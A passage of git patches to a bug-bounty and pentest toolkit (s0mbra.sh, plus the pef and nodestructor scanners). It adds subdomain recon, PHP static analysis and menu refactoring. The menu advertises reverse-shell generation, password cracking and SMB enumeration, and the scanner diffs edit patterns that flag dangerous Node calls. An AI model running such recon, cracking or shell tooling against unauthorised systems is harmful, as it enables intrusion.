"$TMPDIR/s0mbra_recon_sublister_$domain.tmp" + done + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + # prepare list of uniqe subdomains + cat s0mbra_recon_sub* > step1 + sed 's/
/#/g' step1 | tr '#' '\n' > step2 + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + rm -f step* + # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subfinder.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" grep 200 $TMPDIR/s0mbra_recon_httpx.tmp From c408820b00bfd65b1ba876f22bcc58b4a85a52e6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 18 Apr 2022 12:39:53 +0100 Subject: [PATCH 114/289] [s0mbra] Added phpcs for PHP static analysis --- s0mbra.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index cadb294..1f6235a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -533,6 +533,13 @@ gql() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +php_sast() { + clear + echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" + phpcs --colors -vs $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -658,6 +665,9 @@ case "$cmd" in snyktest) snyktest ;; + phpsast) + php_sast "$2" + ;; gql) gql "$2" ;; @@ -754,6 +764,7 @@ case "$cmd" in echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" From e8422394b4ccc9bdb0efb2836ab378b862ea1974 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 21 Apr 2022 13:54:56 +0100 Subject: [PATCH 115/289] [s0mbra] Comments --- s0mbra.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 1f6235a..566091b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -500,6 +500,7 @@ s3go() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# coverts .dex file to .jar archive dex_to_jar() { clear echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" @@ -507,12 +508,14 @@ dex_to_jar() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# unpack .jar archive unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +# runs disassembly agains binary disass() { clear echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." @@ -520,12 +523,14 @@ disass() { echo -e "\n$BLUE[s0mbra] Done." } +# runs Java decompiler jadx jadx() { clear echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } +# executes graphql-cop against GraphQL endpoint gql() { clear echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" @@ -533,6 +538,7 @@ gql() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# runs PHP SAST tools against PHP application php_sast() { clear echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" @@ -540,6 +546,7 @@ php_sast() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# deso stuff with Android APK file apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -553,6 +560,7 @@ apk() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# extracts Androind .ab archive abe() { clear echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" @@ -570,6 +578,7 @@ abe() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# generates reverse shells in various languages for given IP:PORT generate_shells() { clear port=$2 @@ -604,18 +613,21 @@ generate_shells() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# looks for default credentials in service/software/hardware defcreds() { echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" creds search $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# decodes Base64 string b64() { echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" echo $1 | base64 -D echo -e "$BLUE\n[s0mbra] Done! $CLR" } +### menu cmd=$1 clear From 786daa1f2077116e182f36d9107e02d666b7aa55 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Apr 2022 19:54:47 +0100 Subject: [PATCH 116/289] [pef] Fix for levels --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index e4e133c..070a7f0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -157,7 +157,7 @@ def run(self): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( - "-l", "--level", help="severity level: ALL, LOW, MEDIUM or level; default - ALL") + "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") parser.add_argument( "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() From 460c1962d026e4ab12e61b4c9e8aafae808243bf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Apr 2022 11:01:51 +0100 Subject: [PATCH 117/289] [nodestructor] Refactoring --- nodestructor/nodestructor.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index c36a9e8..142a894 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -59,7 +59,6 @@ ".*child_process", ".*child_process.exec\(", ".*\sFunction\(", - ".*execFile\(", ".*spawn\(", ".*fork\(", ".*setImmediate\(", From 8ac415ad0f6651503fa47b302125f5f7aafc0301 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 29 Apr 2022 00:34:03 +0100 Subject: [PATCH 118/289] [nodestructor] Refactoring --- nodestructor/nodestructor.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 142a894..be199fb 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -61,14 +61,10 @@ ".*\sFunction\(", ".*spawn\(", ".*fork\(", - ".*setImmediate\(", ".*newBuffer\(", ".*\.constructor\(", ".*mysql\.createConnection\(", ".*\.query\(", -] - -npm_patterns = [ ".*serialize\(", ".*unserialize\(" ] From 43b213984db6e11aa1383e1582aec0cec9f9d8c9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Apr 2022 11:23:26 +0100 Subject: [PATCH 119/289] [s0mbra] Menu refactoring --- s0mbra.sh | 92 ++++++++++++++++++++++++++----------------------------- 1 file changed, 44 insertions(+), 48 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 566091b..81b1cca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -740,53 +740,49 @@ case "$cmd" in *) clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" - echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" - echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" - echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" - echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" - echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" - echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "\t$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" - echo -e "\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" - echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t$CLR" - echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" - echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t$CLR" - echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" - echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" - echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" - echo -e "\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" - echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" - echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" - echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" - echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - - echo -e "\n--------------------------------------------------------------------------------------------------------------" - echo -e "$GREEN Hack The Planet!\n$CLR" + echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" + echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" + echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" + echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" + echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" + echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" + echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" + echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" + echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" + echo -e "$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" + echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" + echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$CLR" ;; esac From ec158984b8e78342c87e3b1615c69bad79a6d3d9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 1 May 2022 07:03:19 +0100 Subject: [PATCH 120/289] [s0mbra] snyktest refactoring --- s0mbra.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 81b1cca..531b6e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -118,9 +118,11 @@ um() { # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { + echo -e "$BLUE[s0mbra] Run npm audit first, just in case...$CLR" + npm audit . echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" snyk test - echo -e "\n$BLUE[s0mbra] Done." + echo -e "$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open From ef9fe657890d7ebf269cdbf4fb8e425d5a0d7729 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 2 May 2022 12:08:32 +0100 Subject: [PATCH 121/289] [s0mbra] snyktest command output improvements --- s0mbra.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 531b6e3..3f7d1b5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -118,9 +118,10 @@ um() { # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { - echo -e "$BLUE[s0mbra] Run npm audit first, just in case...$CLR" + echo -e "$BLUE[s0mbra] Auditing Node application using:\n -> npm audit\n -> snyk\n$CLR" + echo -e "$BLUE[s0mbra] Running npm audit...$CLR" npm audit . - echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" + echo -e "$BLUE[s0mbra] Running snyk test...$CLR" snyk test echo -e "$BLUE[s0mbra] Done." } From 5f44fdf290a569dbb19217f3ca1cd42e2beb6750 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 3 May 2022 21:32:09 +0100 Subject: [PATCH 122/289] [s0mbra] snyktest command output improvements --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3f7d1b5..8d05e3c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -119,9 +119,9 @@ um() { # with nodestructor and semgrep snyktest() { echo -e "$BLUE[s0mbra] Auditing Node application using:\n -> npm audit\n -> snyk\n$CLR" - echo -e "$BLUE[s0mbra] Running npm audit...$CLR" + echo -e "$BLUE[s0mbra] Running npm audit$CLR" npm audit . - echo -e "$BLUE[s0mbra] Running snyk test...$CLR" + echo -e "$BLUE[s0mbra] Running snyk test$CLR" snyk test echo -e "$BLUE[s0mbra] Done." } From d6d1e771324d180d5bec20715e1a19cd526631b2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 May 2022 11:29:22 +0100 Subject: [PATCH 123/289] [s0mbra] takealook command - lookaround for single domain --- s0mbra.sh | 41 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 40 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8d05e3c..5889cea 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -237,6 +237,41 @@ lookaround() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +# quick lookaround, but for single domain - no need to create scope file +takealook() { + TMPDIR=$(pwd) + START_TIME=$(date) + DOMAIN=$1 + echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + + # sublister + echo -e "\n$GREEN--> sublister$CLR\n" + sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.tmp" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.tmp + + # prepare list of uniqe subdomains + cat s0mbra_recon_sub* > step1 + sed 's/
/#/g' step1 | tr '#' '\n' > step2 + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + rm -f step* + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" + grep 200 $TMPDIR/s0mbra_recon_httpx.tmp + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + # automated recon: subfinder + nmap + httpx + ffuf | on domain(s) -> save to scope file recon() { TMPDIR=$(pwd) @@ -641,6 +676,9 @@ case "$cmd" in lookaround) lookaround "$2" ;; + takealook) + takealook "$2" + ;; recon) recon "$2" ;; @@ -744,7 +782,8 @@ case "$cmd" in clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" + echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" + echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From 82604e93a8643e1978bbd9861a6e7783fb8de95b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 May 2022 11:34:13 +0100 Subject: [PATCH 124/289] [s0mbra] takealook command - lookaround for single domain --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5889cea..863a861 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -782,7 +782,7 @@ case "$cmd" in clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" + echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" From c669067ca7697202291e9d3c2975a37fcbdee660 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 8 May 2022 20:04:02 +0100 Subject: [PATCH 125/289] [s0mbra] remove unused fufilter --- s0mbra.sh | 26 -------------------------- 1 file changed, 26 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 863a861..204ac97 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -418,28 +418,6 @@ api_fuzz() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -fufilter() { - clear - # adjust here to add/remove HTTP response status code(s) to match on: - HTTP_RESP_CODES=200,206,301,302,403,500 - - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES... (filter size: $3) $CLR" - - if [[ -n $4 ]]; then - if [[ $4 == "/" ]]; then - # if $3 arg passed to fu equals / 